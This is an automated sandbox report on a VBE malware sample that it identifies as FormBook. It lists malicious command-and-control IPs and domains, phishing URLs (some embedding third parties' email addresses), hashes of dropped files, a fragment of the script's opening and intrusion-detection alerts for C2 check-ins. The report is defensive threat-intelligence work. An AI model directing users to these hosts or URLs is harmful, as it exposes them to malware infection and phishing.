http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	SearchProtocolHost.exe, 00000006.00000003.1762818825.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	false		high
http://i1.cdn-image.com/__media__/js/min.js?v2.3	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.248.169.48	www.aiactor.xyz	United States	16509	AMAZON-02US	true
185.27.134.144	www.amayavp.xyz	United Kingdom	34119	WILDCARD-ASWildcardUKLimitedGB	true
103.224.182.242	www.seeseye.website	Australia	133618	TRELLIAN-AS-APTrellianPtyLimitedAU	true
199.59.243.227	www.bcg.services	United States	395082	BODIS-NJUS	true
208.91.197.27	www.guacamask.online	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	true
47.254.140.255	www.yvcp3.info	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true
172.67.159.24	www.rafconstrutora.online	United States	13335	CLOUDFLARENETUS	true
43.163.1.110	1hong.pels5zqo.shop	Japan	4249	LILLY-ASUS	true
203.161.43.228	www.connecty.live	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
156.251.17.224	www.duwixushx.xyz	Seychelles	132839	POWERLINE-AS-APPOWERLINEDATACENTERHK	true
38.47.232.194	76kdd.top	United States	174	COGENT-174US	true
172.67.220.36	www.supernutra01.online	United States	13335	CLOUDFLARENETUS	true
98.124.224.17	www.bookingservice.center	United States	21740	ENOMAS1US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559545
Start date and time:	2024-11-20 16:52:30 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DOC_114542366.vbe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winVBE@9/3@15/13
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 94% Number of executed functions: 32 Number of non-executed functions: 315
Cookbook Comments:	Found application associated with file extension: .vbe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target zfEzkYXCOLr.exe, PID 3700 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: DOC_114542366.vbe

Simulations

Behavior and APIs

Time	Type	Description
10:54:29	API Interceptor	9866857x Sleep call for process: SearchProtocolHost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.248.169.48	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.remedies.pro/hrap/
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	www.optimismbank.xyz/lnyv/
	New Order - RCII900718_Contract Drafting.exe	Get hash	malicious	FormBook	Browse	www.avalanchefi.xyz/ctta/
	need quotations.exe	Get hash	malicious	FormBook	Browse	www.egldfi.xyz/3e55/
	Quotation request -30112024_pdf.exe	Get hash	malicious	FormBook	Browse	www.tals.xyz/010v/
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	www.wajf.net/dkz5/
	rG5EzfUhUp.exe	Get hash	malicious	Sakula RAT	Browse	www.polarroute.com/newimage.asp?imageid=zcddwc1730788541&type=0&resid=5322796
	dhl009544554961.INV.PEK.CO.041.20241115.183845.20241115.183948.34872.exe	Get hash	malicious	FormBook	Browse	www.extrem.tech/ikn1/
	Hire P.O.exe	Get hash	malicious	FormBook	Browse	www.sonoscan.org/ew98/
	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	www.hopeisa.live/v0jl/
185.27.134.144	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	www.amayavp.xyz/d9ku/
	shipping doc_20241111.exe	Get hash	malicious	FormBook	Browse	www.hasthosting.xyz/04fb/
	SHIPPING DOC_20241107.exe	Get hash	malicious	FormBook	Browse	www.hasthosting.xyz/04fb/
	http://outlook-accede-aqui.iceiy.com/	Get hash	malicious	Unknown	Browse	outlook-accede-aqui.iceiy.com/jquery.min.js
103.224.182.242	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	www.madhf.tech/vpqb/
	PROFORMA INVOICE.exe	Get hash	malicious	FormBook	Browse	www.klohk.tech/3m3e/
	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	www.madhf.tech/p31e/
	http://perpetualsnob.com	Get hash	malicious	Unknown	Browse	perpetualsnob.com/?fp=a3db7cd464228025d120ca597c81b5f2
	Shipping documents..exe	Get hash	malicious	FormBook	Browse	www.klohk.tech/3m3e/
	SALARY OF OCT 2024.exe	Get hash	malicious	FormBook	Browse	www.klohk.tech/3m3e/
	Doc 784-01965670.exe	Get hash	malicious	FormBook	Browse	www.givingaway123.net/1juc/
	BL.exe	Get hash	malicious	FormBook	Browse	www.givingaway123.net/1juc/
	BILL OF LADDING.exe	Get hash	malicious	FormBook	Browse	www.givingaway123.net/1juc/
	jpdy1E8K4A.exe	Get hash	malicious	FormBook	Browse	www.nobartv6.website/pp43/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.rafconstrutora.online	need quotations.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
www.bcg.services	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	need quotations.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	PO-DC13112024_pdf.vbs	Get hash	malicious	Unknown	Browse	199.59.243.227
www.amayavp.xyz	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	185.27.134.144
www.aiactor.xyz	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
www.bookingservice.center	FOTO#U011eRAFLAR.exe	Get hash	malicious	FormBook	Browse	98.124.224.17

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WILDCARD-ASWildcardUKLimitedGB	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	185.27.134.144
	shipping doc_20241111.exe	Get hash	malicious	FormBook	Browse	185.27.134.144
	SHIPPING DOC_20241107.exe	Get hash	malicious	FormBook	Browse	185.27.134.144
	https://downloadourauthfile-list.thsite.top/?em=EU-Sales-Support@scanlab.de	Get hash	malicious	Unknown	Browse	185.27.134.155
	http://appealaccountreporte.rf.gd/?i=1	Get hash	malicious	Unknown	Browse	185.27.134.215
	kingdom.ps1	Get hash	malicious	Atlantida Stealer	Browse	31.22.4.235
	VM2ICvV5qQ.pdf	Get hash	malicious	Unknown	Browse	185.27.134.114
	http://growthsparkplus.thsite.top/?email=anna@cellnextelecom.com	Get hash	malicious	Unknown	Browse	185.27.134.108
	la.bot.arm-20241006-1050.elf	Get hash	malicious	Unknown	Browse	82.163.179.172
	https://ck.storematch.jp/bc?d=11044D9580EY4W1C2FD019VB3VD27BCW862C0351F9E0EA8-cdlaq4&B=a4f71fd1c235a114f94297e8a0a36c6e&sc_i=shp_pc_promo_mdRMBP_disp_mcad&rd=//interglobalcargoexpress.com/yuuuii#aW5mb0B2b3NzbG9oLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	31.22.4.60
TRELLIAN-AS-APTrellianPtyLimitedAU	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	PROFORMA INVOICE.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	103.224.182.242
	8dPlV2lT8o.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
	7ObLFE2iMK.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
	UMwpXhA46R.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
	arxtPs1STE.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
	Z8eHwAvqAh.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
	WlCVLbzNph.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
AMAZON-02US	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.238.49.99
	https://url.us.m.mimecastprotect.com/s/cx8GCJ6Aj8C8mZ33UVfXHy0nVz?domain=canva.com	Get hash	malicious	Unknown	Browse	75.2.57.54
	Isabella County Emergency Management-protected.pdf	Get hash	malicious	HTMLPhisher	Browse	3.160.188.127
	http://track.reviewmgr.com/ls/click?upn=u001.W5y-2Fhe84rCuLxXDO470nfoYHiuPSKQTlPsTmGKWhJo6CB1T1AJI0Ng6lXheytWQK64FQ9fZMmvPyn2m-2FBbpOFw-3D-3DeITO_Yp4ydSxZWNatis3HtI6bBrJjg57JYwT6kbyY2f89Z-2FBhxNJZyCBl9w6yXNV0YfiK0sNR0p6qpefM4iEmPWziaOewswA00aDq7wvcNNH80ndQj9CncuidPzyrDEdMs65iWKbNVV-2FmU9TbukNj-2FicE0QhgzstHHAHDXYlbxCKcO7EtAFWAJoKqX3q5xt9Oa7YesS8-2F5zc7Z5V9RTeamF-2F0-2BvvKvokHXQs-2BxoWQKaUBjPewgaGQ56NNPBqOihkhW7Dcmtt-2B3bcLIgKfQsKreEmCiVox-2BYFecw4jK-2F1OqmVaDqU-3D	Get hash	malicious	Unknown	Browse	108.158.75.87
	Isabella County Emergency Management-protected.pdf	Get hash	malicious	Unknown	Browse	3.160.188.127
	https://covid19.auth-verify.com/XUXIrOHR6RjhQNXRDVW5iWmFYNTZaZlB0Z1ZnZHBzcVhlTW1qdU04ZXpTUXRDVmJVWGZzaSsxd05aQUF3emJmeFZyVkhKN3RPM2cwU3NDMWkrMFhSbTcwSEh5N09lN256QnJjRG9sWklQRy9KZm14M1JhMER1NzVYVjFlZUxmeTZnQVc4Z0t1T2pTTnJ5dHN3NVNSTFljQzlxOFJRb2NraUtMVVZ4ckN0eVF1WTFCS3VqVnNZazlaSlUrK3ZjUE1PcVM1eFhrQT0tLUs1UUpQQ3gzcDZ1VzRKVVEtLW44eGZTZUNwWmFkTnlqMFJCODNDZUE9PQ==?cid=289532680	Get hash	malicious	KnowBe4	Browse	52.209.169.238
	https://shadowline-hub-uk-limited.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	3.255.10.234
	https://cipdegiphar-pharm.click/BD0C84/D0C-N0V20.html	Get hash	malicious	Unknown	Browse	13.226.2.116
	https://online.flippingbook.com/view/946261857/	Get hash	malicious	Unknown	Browse	108.158.71.173
	HXpVpoC9cr.exe	Get hash	malicious	FormBook	Browse	3.111.160.216
BODIS-NJUS	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	need quotations.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	Order No 24.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	http://inscrit.es/	Get hash	malicious	Unknown	Browse	199.59.243.205
	http://inscrit.es/	Get hash	malicious	Unknown	Browse	199.59.243.205
	BlgAsBdkiD.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	RFQ.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	PO-DC13112024_pdf.vbs	Get hash	malicious	Unknown	Browse	199.59.243.227
	statement of accounts.exe	Get hash	malicious	FormBook	Browse	199.59.243.227

Process:	C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\74w51-39

Download File

Process:	C:\Windows\SysWOW64\SearchProtocolHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209935793793442
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8lZqhAj3NniAGl:r2qOB1nxCkvSAELyKOMq+8lMAjdnG
MD5:	214CFA91B0A6939C4606C4F99C9183B3
SHA1:	A36951EB26E00F95BFD44C0851827A032EAFD91A
SHA-256:	660DE0DCC188B3C35F8693DA4FE3EABD70D55A3AA32B7FDD6353FDBF04F702D7
SHA-512:	E2FA64C41FBE5C576C0D79C6A5DEF0EC0A49BB2D0D862223E761429374294332A5A218E03C78A0D9924695D84B10DC96BCFE7DA0C9972988D33AE7868B107789
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	793088
Entropy (8bit):	4.114205311523398
Encrypted:	false
SSDEEP:	12288:Iqov5BYW3kUYf3hScA06fsXcTqmrj/uBk8dV9gajhyDTKk6NJNFIPxAZTWSEnqO4:RadYsbmP+QFEY7mIW
MD5:	36972AB0B73F25F92B42448D6FAAEA58
SHA1:	18782056DF033E6602800453FDE691CDD15262F9
SHA-256:	EA2416415A1453F3431F33B2CBAD63D8496F7C4450C021BE197E52D8E23FE84E
SHA-512:	B035957F5A6DBE31978670E618A6DBFA461B864971E1A0429FEE7DFB17330A3D19FC29F0649F08888488CF8FBA51E48F0CC18E0AF0FD0F654AD77326D1F76861
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....a..........."...0............../... ...@....@.. ....................................`.....................................O....@.......................`......\|...8............................................ ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................./......H........(..............................................................".(.....".(8......r ..p.....^..}.....(M......(&......f..sN...}.....rB..p(O......(P.......0..t.............(....r...p......%..!...(.....o......,'r/..p........%.r3..p.o....o....,..(...........s....s....%.o ....o!...+..0..f........u$.....-........s....s.......o ....("...o!... ....(#...($...-.(%...,..(.....o&...-..(.... ....(#...+....0..4........r]..p('....r...p('....r...p....(....o(......().....0..

Static File Info

General

File type:	ASCII text, with very long lines (64867), with CRLF line terminators
Entropy (8bit):	3.7101642709172955
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	DOC_114542366.vbe
File size:	1'712'053 bytes
MD5:	76c9e79512fae43cf3418e7ffd2e6d7e
SHA1:	83604bad711a92e9ec62a342311c8d3701f75516
SHA256:	d6efa90d2b7cf0aabc00d25c40b9cef231ab81b055c6b5e47655630bb1cc62bf
SHA512:	981d53e103297efbca428c2ff41d216af21979d4818605066a2da6aca1bfee05b0fe9d1f4a3aae7b561d1e14526d5063ead985250724c0ba748eef7be7066bb2
SSDEEP:	24576:tjkxjYmgPzdgQpoaDR5zPYNUgMbHORCOWsIGKA4SLAGIV2RwtZ3AQEyrPvbvGcUW:R
TLSH:	6B8576032E83231EEE1CD34625BC45649D59CAFF4EB1D0DCD1677DE16812C6E29EBAA0
File Content Preview:	Option Explicit....' Constants..Const TEMP_DIRECTORY = 2..Const INIT_DELAY = "3000-7000"..Const EXEC_DELAY = "2000-5000"....' Global Variables..Dim tempFilePath, logFilePath, encodedData....' Entry point..Sub Main().. InitializeScriptVariables.. If

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T16:54:08.618110+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.11	49791	156.251.17.224	80	TCP
2024-11-20T16:54:08.618110+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	49791	156.251.17.224	80	TCP
2024-11-20T16:54:25.720471+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49829	43.163.1.110	80	TCP
2024-11-20T16:54:28.392311+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49838	43.163.1.110	80	TCP
2024-11-20T16:54:31.064196+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49844	43.163.1.110	80	TCP
2024-11-20T16:54:33.844204+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.11	49851	43.163.1.110	80	TCP
2024-11-20T16:54:33.844204+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	49851	43.163.1.110	80	TCP
2024-11-20T16:54:41.382649+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49868	47.254.140.255	80	TCP
2024-11-20T16:54:44.010751+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49875	47.254.140.255	80	TCP
2024-11-20T16:54:46.808497+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49883	47.254.140.255	80	TCP
2024-11-20T16:54:49.321171+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.11	49889	47.254.140.255	80	TCP
2024-11-20T16:54:49.321171+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	49889	47.254.140.255	80	TCP
2024-11-20T16:54:56.333264+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49905	208.91.197.27	80	TCP
2024-11-20T16:54:58.972415+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49912	208.91.197.27	80	TCP
2024-11-20T16:55:01.585156+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49919	208.91.197.27	80	TCP
2024-11-20T16:55:06.930289+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.11	49925	208.91.197.27	80	TCP
2024-11-20T16:55:06.930289+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	49925	208.91.197.27	80	TCP
2024-11-20T16:55:14.345721+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49948	172.67.220.36	80	TCP
2024-11-20T16:55:16.826377+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49954	172.67.220.36	80	TCP
2024-11-20T16:55:19.682107+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49962	172.67.220.36	80	TCP
2024-11-20T16:55:22.299377+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.11	49968	172.67.220.36	80	TCP
2024-11-20T16:55:22.299377+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	49968	172.67.220.36	80	TCP
2024-11-20T16:55:29.630412+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49985	98.124.224.17	80	TCP
2024-11-20T16:55:32.286267+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49993	98.124.224.17	80	TCP
2024-11-20T16:55:34.993761+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49995	98.124.224.17	80	TCP
2024-11-20T16:55:37.658446+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.11	49996	98.124.224.17	80	TCP
2024-11-20T16:55:37.658446+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	49996	98.124.224.17	80	TCP
2024-11-20T16:55:44.639345+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49997	203.161.43.228	80	TCP
2024-11-20T16:55:47.294594+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49998	203.161.43.228	80	TCP
2024-11-20T16:55:50.046306+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49999	203.161.43.228	80	TCP
2024-11-20T16:55:52.637402+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.11	50000	203.161.43.228	80	TCP
2024-11-20T16:55:52.637402+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50000	203.161.43.228	80	TCP
2024-11-20T16:56:00.289916+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50001	103.224.182.242	80	TCP
2024-11-20T16:56:02.889986+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50002	103.224.182.242	80	TCP
2024-11-20T16:56:05.733561+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50003	103.224.182.242	80	TCP
2024-11-20T16:56:08.272690+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.11	50004	103.224.182.242	80	TCP
2024-11-20T16:56:08.272690+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50004	103.224.182.242	80	TCP
2024-11-20T16:56:15.690310+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50005	199.59.243.227	80	TCP
2024-11-20T16:56:18.363418+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50006	199.59.243.227	80	TCP
2024-11-20T16:56:20.993661+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50007	199.59.243.227	80	TCP
2024-11-20T16:56:23.664772+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.11	50008	199.59.243.227	80	TCP
2024-11-20T16:56:23.664772+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50008	199.59.243.227	80	TCP
2024-11-20T16:56:30.536900+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50009	13.248.169.48	80	TCP
2024-11-20T16:56:33.246857+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50010	13.248.169.48	80	TCP
2024-11-20T16:56:35.914984+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50011	13.248.169.48	80	TCP
2024-11-20T16:56:38.575239+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.11	50012	13.248.169.48	80	TCP
2024-11-20T16:56:38.575239+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50012	13.248.169.48	80	TCP
2024-11-20T16:56:45.892604+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50013	38.47.232.194	80	TCP
2024-11-20T16:56:48.564405+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50014	38.47.232.194	80	TCP
2024-11-20T16:56:51.363713+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50015	38.47.232.194	80	TCP
2024-11-20T16:56:54.133157+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.11	50016	38.47.232.194	80	TCP
2024-11-20T16:56:54.133157+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50016	38.47.232.194	80	TCP
2024-11-20T16:57:00.972633+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50017	172.67.159.24	80	TCP
2024-11-20T16:57:03.655325+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50018	172.67.159.24	80	TCP
2024-11-20T16:57:06.448068+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50019	172.67.159.24	80	TCP
2024-11-20T16:57:09.031955+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.11	50020	172.67.159.24	80	TCP
2024-11-20T16:57:09.031955+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50020	172.67.159.24	80	TCP
2024-11-20T16:57:16.085067+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50021	208.91.197.27	80	TCP
2024-11-20T16:57:18.784281+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50022	208.91.197.27	80	TCP
2024-11-20T16:57:21.459219+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50023	208.91.197.27	80	TCP
2024-11-20T16:57:25.491138+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.11	50024	208.91.197.27	80	TCP
2024-11-20T16:57:25.491138+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50024	208.91.197.27	80	TCP
2024-11-20T16:57:32.683253+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50025	185.27.134.144	80	TCP
2024-11-20T16:57:36.805343+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50026	185.27.134.144	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 16:54:06.912462950 CET	49791	80	192.168.2.11	156.251.17.224
Nov 20, 2024 16:54:07.038907051 CET	80	49791	156.251.17.224	192.168.2.11
Nov 20, 2024 16:54:07.039443016 CET	49791	80	192.168.2.11	156.251.17.224
Nov 20, 2024 16:54:07.050790071 CET	49791	80	192.168.2.11	156.251.17.224
Nov 20, 2024 16:54:07.173279047 CET	80	49791	156.251.17.224	192.168.2.11
Nov 20, 2024 16:54:08.617803097 CET	80	49791	156.251.17.224	192.168.2.11
Nov 20, 2024 16:54:08.618026018 CET	80	49791	156.251.17.224	192.168.2.11
Nov 20, 2024 16:54:08.618109941 CET	49791	80	192.168.2.11	156.251.17.224
Nov 20, 2024 16:54:08.621284962 CET	49791	80	192.168.2.11	156.251.17.224
Nov 20, 2024 16:54:08.740808964 CET	80	49791	156.251.17.224	192.168.2.11
Nov 20, 2024 16:54:24.078672886 CET	49829	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:24.198209047 CET	80	49829	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:24.198328018 CET	49829	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:24.213718891 CET	49829	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:24.333458900 CET	80	49829	43.163.1.110	192.168.2.11
